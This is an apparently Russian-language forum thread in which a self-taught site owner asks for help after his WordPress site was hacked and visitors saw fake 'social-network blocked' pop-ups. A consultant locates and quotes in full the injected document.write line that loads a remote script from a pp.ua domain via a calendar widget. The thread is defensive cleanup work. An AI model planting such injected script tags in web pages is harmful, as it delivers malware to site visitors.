помогите убрать срипт

[ТЕМА 7]

Здравствуйте.

У меня свой сайт. Не давно(в пятницу) его взломали и пустили вирус. Всё откуда мог прийти вирус удалил, но мне званили пользователи и говорят"окна о закрытии доступа в соц. сеть закроют" всплывают". Чистил сайт в суботу.

Сказали почистить скрипты.

Я в это не сильно понимаю, самоучка(первый сайт).

Подскажите, что удалить?

 

 

 

22<script src="http://svoiv.ru/wp-content/themes/twentyeleven/js/html5.js" type="text/javascript"></script>

27<script type='text/javascript' src='http://svoiv.ru/wp-includes/js/jquery/jquery.js?ver=1.8.3'></script>

33<meta name="description" content="Закон «О защите прав потребителей»" />

54 <h2 id="site-description"></h2>

105<script type="text/javascript" src="http://odnaknopka.ru/wp/ok2.utf8.js"></script><script type="text/javascript">okbm("http://svoiv.ru/zakon-o-zashhite-prav-potrebitelej-29/","Закон &#171;О защите прав потребителей&#187;")</script> </div><!-- .entry-content -->

132<script type="text/javascript" src="http://odnaknopka.ru/wp/ok2.utf8.js"></script><script type="text/javascript">okbm("http://svoiv.ru/zakon-o-zashhite-prav-potrebitelej-28/","в интернет без хозяина")</script> </div><!-- .entry-content -->

160<script type="text/javascript" src="http://odnaknopka.ru/wp/ok2.utf8.js"></script><script type="text/javascript">okbm("http://svoiv.ru/zakon-o-zashhite-prav-potrebitelej-27/","программы шпионы")</script> </div><!-- .entry-content -->

187<script type="text/javascript" src="http://odnaknopka.ru/wp/ok2.utf8.js"></script><script type="text/javascript">okbm("http://svoiv.ru/zakon-o-zashhite-prav-potrebitelej-26/","одна из схем мошенников")</script> </div><!-- .entry-content -->

214<script type="text/javascript" src="http://odnaknopka.ru/wp/ok2.utf8.js"></script><script type="text/javascript">okbm("http://svoiv.ru/zakon-o-zashhite-prav-potrebitelej-25/","преступники угрожают вирусом")</script> </div><!-- .entry-content -->

243</aside><aside id="text-4" class="widget widget_text"> <div class="textwidget"><script language="JavaScript" src="http://101widgets.com/00004112/170/187"></script></div>

262 </aside><aside id="text-6" class="widget widget_text"> <div class="textwidget"><script language="javascript">window.informerPosition = {vert:"center",hor:"left"}</script><script language="javascript" src="http://odnaknopka.ru/ok4.js"></script></div>

278 <aside id="text-3" class="widget widget_text"> <div class="textwidget"><!--LiveInternet counter--><script type="text/javascript"><!--

288//--></script><!--/LiveInternet-->

296<script type='text/javascript'>

300</script>

301<script type='text/javascript' src='http://svoiv.ru/wp-content/plugins/wp-polls/polls-js.js?ver=2.63'></script>

[Roman_Five]

но мне званили пользователи и говорят"окна о закрытии доступа в соц. сеть закроют" всплывают"

покажите скриншоты таких окон.

[ТЕМА 7]

вот они

Изменено 23 января, 2013 пользователем ТЕМА 7

[Roman_Five]

на компьютере, где появляются такие сообщения, необходимо собрать 4 лога исследования системы по правилам.

 

Вашу страничку я просмотрел и ничего зловредного не заметил...

[Vacutagin]

Сообщение от модератора Roman_Five

В этом разделе имеют право отвечать лишь консультанты и топикстартер.

[ТЕМА 7]

вот они

log.txt

log.txt_2.txt

log.txt3.txt

virusinfo_syscure.zip

Изменено 23 января, 2013 пользователем ТЕМА 7

[Roman_Five]

у меня за корпоративным прокси никаких окон не появляется.

 

ТЕМА 7,

удалите ссылки вида javascriptapi.pp.ua

[ТЕМА 7]

Хоть примерно, где эта строчка находиться?

[Roman_Five]

открывайте все шаблоны и скрипты Вашего сайта и ищите ссылки, где упоминается *.pp.ua

удаляйте их.

[ТЕМА 7]

Прошел с верху до низа с блакнотом, ни чего не нашел похожего на pp.ua. Я помню, вчера даже была показан это строка, только я не понял где, а сейчас её убрали. Нельзя ли узнать где она нахдится? Снова начали вылазить эти картики. Понимаю, надо быть осторжнее, но уже поздно, надо лечить сайт.

ПОМОГИТЕ НАЙТИ ЭТУ СРОКУ-вида javascriptapi.pp.ua.

[Roman_Five]

к флэшу календаря прицеплена строка.

document.write('<object data="http://101widgets.com/_/00004112.swf" type="application/x-shockwave-flash" height="187" width="170"><param name="menu" value="false" /><param name="quality" value="high" /><param name="wmode" value="transparent" /></object><script language="JavaScript" src="http://7812738137824127387283782.gorodigr.pp.ua/swfobj2.js"></script>');

 

<div class="textwidget">

<script language="JavaScript" src="http://101widgets.com/00004112/170/187"/>

<object data="http://101widgets.com/_/00004112.swf" type="application/x-shockwave-flash" height="187" width="170">

<param name="menu" value="false"/>

<param name="quality" value="high"/>

<param name="wmode" value="transparent"/>

</object>

<script language="JavaScript" src="http://7812738137824127387283782.gorodigr.pp.ua/swfobj2.js"/>

</div>

[ТЕМА 7]

Вы будете смеятся, я его не знаю где искать. Голова уже трещит от нагрузок(умственных, помимо сайта). Не могли бы вы более конкретно ткнуть пальцем где это находится?

[Roman_Five]

Сообщение от модератора Roman_Five

переношу тему в "Компьютерную помощь"